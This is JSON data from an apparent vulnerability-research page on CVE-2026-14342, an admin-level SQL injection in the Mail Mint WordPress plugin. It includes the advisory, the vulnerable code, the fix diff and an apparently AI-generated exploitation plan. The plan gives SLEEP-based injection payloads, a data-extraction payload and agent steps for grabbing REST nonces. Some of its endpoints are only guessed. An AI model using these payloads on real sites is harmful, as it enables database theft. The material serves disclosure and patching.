[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fG3u28nEpDxH9MmpEafqOlMvnIbAidJL4JBjA8ci2LDQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-14342","mail-mint-authenticated-administrator-sql-injection-via-contactids-parameter","Mail Mint \u003C= 1.24.2 - Authenticated (Administrator+) SQL Injection via 'contact_ids' Parameter","The Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to time-based SQL Injection via the 'contact_ids' parameter in all versions up to, and including, 1.24.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","mail-mint",null,"\u003C=1.24.2","1.24.3","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-08 19:35:45","2026-07-09 07:55:14",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffd75e795-54b8-4b9a-9417-9f707215ebfa?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","app\u002FAPI\u002FControllers\u002FAdmin\u002FContactController.php","app\u002FDatabase\u002Fmodels\u002FContactModel.php","app\u002FInternal\u002FFormBuilder\u002FFormBlock\u002FMintFormBlock.php","app\u002FInternal\u002FFrontend\u002FFrontendAssets.php","app\u002FInternal\u002FShortcodes\u002FContactForm.php","assets\u002Fadmin\u002Fdist\u002Fautomation_editor\u002Findex.min.asset.php","assets\u002Fadmin\u002Fdist\u002Fautomation_editor\u002Findex.min.js","researched",false,3,"# Exploitation Research Plan - CVE-2026-14342\n\n## 1. Vulnerability Summary\nThe **Mail Mint** plugin (versions \u003C= 1.24.2) is vulnerable to an **authenticated (Administrator+) time-based SQL Injection** via the `contact_ids` parameter. The vulnerability exists because the plugin fails to sanitize or properly prepare SQL queries when performing bulk operations (likely deletion or status updates) on contact records. Specifically, the `contact_ids` parameter is directly interpolated into an `IN` clause or a similar SQL structure without using `$wpdb->prepare()` or casting the values to integers.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API endpoint for contact management. Based on the namespace `Mint\\MRM\\Admin\\API\\Controllers`, the likely endpoint is `\u002Fwp-json\u002Fmail-mint\u002Fv1\u002Fadmin\u002Fcontacts`.\n*   **Action\u002FMethod:** `DELETE` or `POST` (often using `_method=DELETE` or a bulk action parameter).\n*   **Vulnerable Parameter:** `contact_ids`.\n*   **Authentication:** Required. The attacker must have **Administrator** privileges (or any role with access to Mail Mint's admin interface).\n*   **Payload Type:** Time-based blind SQL injection (e.g., `SLEEP()`).\n\n## 3. Code Flow\n1.  **Entry Point:** An administrator sends a request to the REST API to delete or modify multiple contacts.\n2.  **Controller:** `Mint\\MRM\\Admin\\API\\Controllers\\ContactController` receives the request.\n3.  **Trait\u002FMethod:** The controller uses `CrudControllerTrait`. This trait likely implements a method like `bulk_delete()` or `delete_ids()`.\n4.  **Parameter Extraction:** The code retrieves `contact_ids` from the request.\n5.  **Repository\u002FModel:** The controller passes these IDs to `ContactRepository` or `ContactModel`. \n6.  **The Sink:** Inside the repository or model, the code constructs a query similar to:\n    ```php\n    \u002F\u002F Inferred Vulnerable Logic\n    $ids = $request['contact_ids']; \u002F\u002F May be a comma-separated string or array\n    $wpdb->query(\"DELETE FROM {$wpdb->prefix}mrm_contacts WHERE id IN ($ids)\"); \n    ```\n    If `$ids` is an array and the code performs `implode(',', $ids)` without integer validation, injection occurs.\n\n## 4. Nonce Acquisition Strategy\nSince this vulnerability requires Administrator access, the attacker must already be authenticated. In a real-world scenario, the `wp_rest` nonce is required to interact with the REST API.\n\n**Strategy for Automated Agent:**\n1.  **Login:** The agent should authenticate as an Administrator.\n2.  **Setup Page:** Create a temporary page or use the Mail Mint admin dashboard.\n3.  **Extract Nonce:**\n    *   Navigate to `\u002Fwp-admin\u002Fadmin.php?page=mail-mint`.\n    *   Use `browser_eval` to extract the REST nonce from the WordPress global objects or localized scripts. Mail Mint likely localizes this in a variable like `getmm_block_object` (from `MintFormBlock.php`) or a similar admin-side variable.\n    *   **Actionable JS:** `browser_eval(\"wpApiSettings.nonce\")` or `browser_eval(\"getmm_block_object.nonce\")`.\n\n## 5. Exploitation Strategy\nWe will use a time-based payload to confirm the injection.\n\n### Step 1: Confirm Injection\nSend a request with a `SLEEP` command embedded in the `contact_ids` parameter.\n\n*   **Tool:** `http_request`\n*   **Method:** `DELETE` (or `POST` if the API prefers bulk actions via POST)\n*   **URL:** `\u002Fwp-json\u002Fmail-mint\u002Fv1\u002Fadmin\u002Fcontacts`\n*   **Headers:**\n    *   `X-WP-Nonce`: [Extracted Nonce]\n    *   `Content-Type`: `application\u002Fjson`\n*   **Payload (JSON):**\n    ```json\n    {\n      \"contact_ids\": \"1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\"\n    }\n    ```\n    *Note: If the API expects an array, use:* `{\"contact_ids\": [\"1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\"]}`\n\n### Step 2: Data Extraction (Proof of Concept)\nExtract the first character of the database version.\n*   **Payload:**\n    ```sql\n    1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)-- -\n    ```\n\n## 6. Test Data Setup\nTo ensure the query reaches the vulnerable sink, at least one contact should exist.\n1.  **Create Contact:** Use WP-CLI to ensure the table has data.\n    ```bash\n    wp mail-mint contact create --email=\"victim@example.com\" --first_name=\"Test\"\n    ```\n    *(Note: Use the specific Mail Mint CLI command if available, or manually insert via `$wpdb->insert` in a `wp eval` script).*\n2.  **Verify Admin User:** Ensure an administrator user exists for session generation.\n\n## 7. Expected Results\n*   **Vulnerable Response:** The HTTP request should hang for exactly the number of seconds specified in the `SLEEP()` function (e.g., 5 seconds) before returning a response.\n*   **Normal Response:** A request with a standard ID (e.g., `contact_ids=1`) should return immediately (ms range).\n\n## 8. Verification Steps\nAfter the exploit, verify that no unintended side effects occurred (though this is a read-only or delete-based injection).\n1.  Check the `mail_mint_contacts` table (exact table name from `ContactSchema::$table_name`) to see if the record with ID 1 still exists.\n    ```bash\n    wp db query \"SELECT COUNT(*) FROM wp_mrm_contacts WHERE id = 1\"\n    ```\n\n## 9. Alternative Approaches\nIf the REST API endpoint differs, investigate the following:\n*   **AJAX:** Check for `wp_ajax_mrm_bulk_delete_contacts`.\n*   **Parameter format:** The `contact_ids` might be expected as a query string parameter instead of a JSON body:\n    `DELETE \u002Fwp-json\u002Fmail-mint\u002Fv1\u002Fadmin\u002Fcontacts?contact_ids=1) AND SLEEP(5)-- -`\n*   **Action String:** If `contact_ids` is used in an export or tag-assignment feature, the endpoint might be `\u002Fwp-json\u002Fmail-mint\u002Fv1\u002Fadmin\u002Fcontacts\u002Fexport`.","The Mail Mint plugin for WordPress is vulnerable to authenticated time-based SQL Injection via the 'contact_ids' parameter in versions up to 1.24.2. This vulnerability allows administrator-level attackers to execute arbitrary SQL commands by injecting malicious payloads into bulk contact status update queries, which are improperly handled by the database preparation logic.","\u002F\u002F app\u002FAPI\u002FControllers\u002FAdmin\u002FContactController.php around line 1049\n$contact_ids = isset( $params['contact_ids'] ) ? $params['contact_ids'] : array();\n\n---\n\n\u002F\u002F app\u002FDatabase\u002Fmodels\u002FContactModel.php around line 1157\n\u002F\u002F Convert the IDs array into a comma-separated string.\n$ids_str      = implode( ',', $contact_ids );\n$update_query = $wpdb->prepare( \"UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_str)\", $status ); \u002F\u002Fphpcs:ignore","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.2\u002Fapp\u002FAPI\u002FControllers\u002FAdmin\u002FContactController.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.3\u002Fapp\u002FAPI\u002FControllers\u002FAdmin\u002FContactController.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.2\u002Fapp\u002FAPI\u002FControllers\u002FAdmin\u002FContactController.php\t2026-06-15 10:10:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.3\u002Fapp\u002FAPI\u002FControllers\u002FAdmin\u002FContactController.php\t2026-07-06 04:35:56.000000000 +0000\n@@ -1046,7 +1046,7 @@\n         $params = filter_var_array( $params );\n \n         \u002F\u002F Extract contact IDs and status from the filtered parameters.\n-        $contact_ids = isset( $params['contact_ids'] ) ? $params['contact_ids'] : array();\n+        $contact_ids = isset( $params['contact_ids'] ) ? array_filter( array_map( 'absint', (array) $params['contact_ids'] ) ) : array();\n         $status      = isset( $params['status'] ) ? $params['status'] : 'pending';\n \n         \u002F\u002F Check if contact IDs are empty.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.2\u002Fapp\u002FDatabase\u002Fmodels\u002FContactModel.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.3\u002Fapp\u002FDatabase\u002Fmodels\u002FContactModel.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.2\u002Fapp\u002FDatabase\u002Fmodels\u002FContactModel.php\t2026-06-15 10:10:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.3\u002Fapp\u002FDatabase\u002Fmodels\u002FContactModel.php\t2026-07-06 04:35:56.000000000 +0000\n@@ -1154,9 +1154,15 @@\n \t\tglobal $wpdb;\n \t\t$contacts_table = $wpdb->prefix . ContactSchema::$table_name;\n \n-\t\t\u002F\u002F Convert the IDs array into a comma-separated string.\n-\t\t$ids_str      = implode( ',', $contact_ids );\n-\t\t$update_query = $wpdb->prepare( \"UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_str)\", $status ); \u002F\u002Fphpcs:ignore\n+\t\t\u002F\u002F Sanitize the IDs to integers to prevent SQL injection.\n+\t\t$contact_ids = array_filter( array_map( 'absint', (array) $contact_ids ) );\n+\t\tif ( empty( $contact_ids ) ) {\n+\t\t\treturn false;\n+\t\t}\n+\n+\t\t\u002F\u002F Build a placeholder list and bind every value through prepare().\n+\t\t$ids_placeholder = implode( ',', array_fill( 0, count( $contact_ids ), '%d' ) );\n+\t\t$update_query    = $wpdb->prepare( \"UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_placeholder)\", array_merge( array( $status ), $contact_ids ) ); \u002F\u002Fphpcs:ignore\n \t\treturn $wpdb->query( $update_query ); \u002F\u002Fphpcs:ignore\n \t}","The exploit is a time-based blind SQL injection targeting the plugin's REST API. An attacker with Administrator privileges first obtains a valid 'wp_rest' nonce from the admin interface. They then submit a POST request to the contact management endpoint (e.g., \u002Fwp-json\u002Fmail-mint\u002Fv1\u002Fadmin\u002Fcontacts) containing a 'contact_ids' parameter. By supplying a payload such as '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -', the attacker triggers an execution delay in the database query. This delay confirms the injection, which can then be leveraged to extract sensitive information from the WordPress database letter by letter using conditional time delays.","gemini-3-flash-preview","2026-07-15 22:27:29","2026-07-15 22:28:23",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.24.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmail-mint\u002Ftags\u002F1.24.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmail-mint.1.24.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmail-mint\u002Ftags\u002F1.24.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmail-mint.1.24.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmail-mint\u002Ftags"]